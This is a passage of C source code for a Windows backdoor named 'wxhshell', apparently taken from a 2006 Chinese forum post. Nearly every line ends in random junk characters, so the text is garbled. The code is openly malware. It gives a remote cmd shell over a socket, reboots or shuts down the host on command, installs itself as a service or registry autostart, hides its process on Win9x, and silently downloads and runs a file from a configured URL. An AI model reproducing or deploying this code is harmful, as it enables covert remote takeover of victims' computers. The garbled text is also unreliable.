sNB*S{   
    switch(cmd[0]) { LX f r  
  U}f"a!  
  // 帮助 DBTeV-G9~R  
  case '?': { OM,Dy&Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h0**[LDH  
    break; *rKj%Me  
  } <"/b 5kc  
  // 安装 5rp,xk!  
  case 'i': { oKyl2jg+,  
    if(Install()) (h {"/sR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CCoT  
    else HGycF|]2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W5i{W'  
    break; p>M8:,  
    } m\*;Fx  
  // 卸载 f2h`bO  
  case 'r': { +vf~s^  
    if(Uninstall()) ;OC~,?O5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oZ]^zzoEcg  
    else Z4ekBdmCL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (F=/r] Q  
    break; A-"2sp*t  
    } iA.:{^_)09  
  // 显示 wxhshell 所在路径 YQ? "~[mL  
  case 'p': { ycD.X"  
    char svExeFile[MAX_PATH]; 9 +1}8"~  
    strcpy(svExeFile,"\n\r"); #*;G8yV  
      strcat(svExeFile,ExeFile); uwI$t[  
        send(wsh,svExeFile,strlen(svExeFile),0); s!73To}>  
    break; :O?+Ywn  
    } UP<B>Y1a  
  // 重启 \7V[G6'{  
  case 'b': { oS>VN<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Yt]Y(  
    if(Boot(REBOOT)) bi{G :xt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o|7ztpr  
    else { %*bGW'Cw  
    closesocket(wsh); TmviYP gb  
    ExitThread(0); (V(8E%<c  
    } mETGYkPUa  
    break; C[ma!he  
    } hqDnmzG  
  // 关机 Mi^/`1  
  case 'd': { eP(|]Rk  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !l9i)6W  
    if(Boot(SHUTDOWN)) F ?N+ __o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aHR+4m~)  
    else { w;b;rHAZ\  
    closesocket(wsh); (e"\%p`  
    ExitThread(0); P>}OwW  
    } bU4l|i;j  
    break; %ztv.K(8  
    } ]0o_- NI  
  // 获取shell ;9MIapfUd(  
  case 's': { tD^$}u6  
    CmdShell(wsh); ,DL%oQR  
    closesocket(wsh); Cl>|*h+m  
    ExitThread(0); zp'Vn7  
    break; Cfr2 ~w  
  } F:~k4uTW\b  
  // 退出 @|2sF  
  case 'x': { '"m-kor  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f]4j7K!e]  
    CloseIt(wsh); r}S>t~p:  
    break; Zdfruzl&`  
    } ]Uj7f4)k  
  // 离开 aG&t gD{  
  case 'q': { OC6v%@xa  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0n/+X[%Ti  
    closesocket(wsh); ;$Pjl8\  
    WSACleanup(); d~abWBgC`  
    exit(1); )+ (GE  
    break; gmUX 2x(  
        } vqhu%ZyP  
  } _uL8TC ^  
  } B<{Yj}..  
e;8nujdG"  
  // 提示信息 (jI_Dk;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {Gvv^.H7  
} =G\N1E  
  } `E2RW{$A  
Oa-(Xp,n#  
  return; Ghf/IXq#  
} \=2<< iv  
IY,n7x0d  
// shell模块句柄 0'Uo3jAB  
int CmdShell(SOCKET sock) [;Y*f,UG_-  
{ c#zx" ,K  
STARTUPINFO si; QTIC5cl,  
ZeroMemory(&si,sizeof(si)); !d Z:Ih.[{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [R0E4A?M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HVz|*?&6  
PROCESS_INFORMATION ProcessInfo; O77^.B  
char cmdline[]="cmd"; K+<F, P  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ">FuCvQ  
  return 0; qFE(H1hy  
} Mi<l;ZP  
06]%$ -j  
// 自身启动模式 m)ENj6A>yP  
int StartFromService(void) +JejnG0  
{ Ake$M^Bz  
typedef struct Yln[ZmK9g  
{ G'T: l("l  
  DWORD ExitStatus; jaL#  
  DWORD PebBaseAddress; /k.?x]Ab  
  DWORD AffinityMask; ^&7gUH*v  
  DWORD BasePriority; '/F%  ff  
  ULONG UniqueProcessId; 2-dEie/{'  
  ULONG InheritedFromUniqueProcessId; ja&S^B^@  
}   PROCESS_BASIC_INFORMATION; 7r{159&=  
|wM<n  
PROCNTQSIP NtQueryInformationProcess; 6<o2 0(?  
8}Cp(z2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; AhU   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HhB&vi  
"IJ 9vXI  
  HANDLE             hProcess; tjJi|  
  PROCESS_BASIC_INFORMATION pbi; av"dJm  
+W+o~BE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Hto+spW  
  if(NULL == hInst ) return 0; Gt$PBlq0  
B-oQjr-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,uL}O]L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y' O3RA5E  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Zvkb=  
a 9!.e rM  
  if (!NtQueryInformationProcess) return 0; v[]&yD  
MDauHtF,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h\/T b8  
  if(!hProcess) return 0; `s8!zy+  
i4\DSQJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G O[u  
'MQJt2QU9{  
  CloseHandle(hProcess); *6wt+twH  
5Ve T8/7Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \# _w=gs<i  
if(hProcess==NULL) return 0; AvcN,  
jm0v=m7  
HMODULE hMod; M)G|K a  
char procName[255]; &~"e["gF=  
unsigned long cbNeeded; c JOT{  
,HwOMoP7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '8c-V aa  
ozkmZ;  
  CloseHandle(hProcess); |3C5"R3ZGO  
W3A9uk6  
if(strstr(procName,"services")) return 1; // 以服务启动 h| N!U/(U  
W[qQDn!r  
  return 0; // 注册表启动 fzr0dcNgM  
} >k8FUf(c  
s >7(S%#N  
// 主模块 *n_7~ZX  
int StartWxhshell(LPSTR lpCmdLine) J0 UF(  
{ O^r,H,3S  
  SOCKET wsl; j[|mC;y.  
BOOL val=TRUE; b,lIndj#  
  int port=0; 8F/JOtkGMt  
  struct sockaddr_in door; R] " jr  
MX s]3M  
  if(wscfg.ws_autoins) Install(); I` q"  
QFU1l"(qGk  
port=atoi(lpCmdLine); .9!?vz]1  
S?u@3PyJm  
if(port<=0) port=wscfg.ws_port; cIg+^Tl  
z+]YB5zK%  
  WSADATA data; ok/{ w  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #T08H,W/  
}TG=ZVi  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F!cRx%R  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z`x*Igf8  
  door.sin_family = AF_INET; :|N(:W>=$Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W$`p ,$.n  
  door.sin_port = htons(port); HG&rE3@  
]L_h3Xz\X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { oT*qMLdn  
closesocket(wsl); :y^%I xs{1  
return 1; ?dY|,_O  
} 1Wb_>`;  
h[oI/X  
  if(listen(wsl,2) == INVALID_SOCKET) { A;7At!kK  
closesocket(wsl); tjbI*Pw7(  
return 1; iJ p E`  
} L~HL*~#d  
  Wxhshell(wsl); a1g aB:w5n  
  WSACleanup(); GI)eq:K_U8  
S\ ) ~9?  
return 0; ?U(`x6\:  
?btZdnQ))S  
} +t*Ks_V,*  
z<,-:=BC"  
// 以NT服务方式启动 Qw.j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uol EX+  
{ AZfW  
DWORD   status = 0; />dYkIv  
  DWORD   specificError = 0xfffffff; xnPi'?A]  
W6jdS;3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ehyCAp0oI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,m1F<Pdts  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M6H#Y2!ZbC  
  serviceStatus.dwWin32ExitCode     = 0; []hC*  
  serviceStatus.dwServiceSpecificExitCode = 0; &'oZ]}^ 0  
  serviceStatus.dwCheckPoint       = 0; 9K4Jg]?  
  serviceStatus.dwWaitHint       = 0; DGO\&^GT^  
fl o9iifZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4{rj 4P?  
  if (hServiceStatusHandle==0) return; D}]u9jS1  
A3Oe=rB  
status = GetLastError(); D0LoT?$N  
  if (status!=NO_ERROR) UBM :.*wN  
{ {!NX u  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1hW"#>f7  
    serviceStatus.dwCheckPoint       = 0; M7\yEi"*  
    serviceStatus.dwWaitHint       = 0; E[2xo/H  
    serviceStatus.dwWin32ExitCode     = status; l G $s(  
    serviceStatus.dwServiceSpecificExitCode = specificError; #SqU>R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); I3d!!L2ma  
    return; PEPf=sm  
  } v-!^a_3Ui  
Og<nnq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; A_2oQ*  
  serviceStatus.dwCheckPoint       = 0; L<Q>:U.@\  
  serviceStatus.dwWaitHint       = 0; )GR4U8<>g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TcOmBKps'  
} L<0eIw  
s|IC;C|  
// 处理NT服务事件,比如:启动、停止 Ms14]M[\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4Bk9d\z  
{ C(}N*e1  
switch(fdwControl) 'yNS(Bg=  
{ ;Miag'7  
case SERVICE_CONTROL_STOP: \7] SG  
  serviceStatus.dwWin32ExitCode = 0; H1-eMDe  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ")D5ulb\  
  serviceStatus.dwCheckPoint   = 0; UQ}#=[)2e  
  serviceStatus.dwWaitHint     = 0; sU0W)c;  
  { pd}Cg'}X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /<Yz;\:Jy  
  } D"8?4+  
  return; 9}jezLI/3  
case SERVICE_CONTROL_PAUSE: ][1 iKT  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; o e,yCdPs  
  break; CJe~>4BT  
case SERVICE_CONTROL_CONTINUE: -^$`5Rk  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !dGSZ|YZ  
  break; !U4<4<+  
case SERVICE_CONTROL_INTERROGATE: LGq T$ O|  
  break; dzs(sM=  
}; s5J?,xu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mq52B_  
} EGxCNB  
9y?)Ga  
// 标准应用程序主函数  ,$(a,`s)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) HUalD3 \  
{ |OBh:d_B]  
;|pw;-  
// 获取操作系统版本 x};sti R  
OsIsNt=GetOsVer(); Y+!z]S/x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >>%E?'9A  
9wdl1QS  
  // 从命令行安装 )jGB[s";)y  
  if(strpbrk(lpCmdLine,"iI")) Install(); `rb}"V+  
jJyS^*.X  
  // 下载执行文件 s y>}2orj~  
if(wscfg.ws_downexe) {  6h?)x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6)yi^v  
  WinExec(wscfg.ws_filenam,SW_HIDE); i,!tu  
} Y|cj&<o  
97vQM  
if(!OsIsNt) { 4(&sw<k  
// 如果时win9x,隐藏进程并且设置为注册表启动 >E9 k5  
HideProc(); Xx1eSX  
StartWxhshell(lpCmdLine); =w ! 6un  
} yq12"Rs  
else s9,Z}]Th  
  if(StartFromService()) eI1C0Uz1  
  // 以服务方式启动 o^W.53yX  
  StartServiceCtrlDispatcher(DispatchTable); ,j(S'Pw  
else @  \*Zq  
  // 普通方式启动 IlZ$Jd  
  StartWxhshell(lpCmdLine); YI?tmqzt  
\.YJs"<3  
return 0; "'~&D/7  
}
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只看该作者 1 发表于: 2006-10-10
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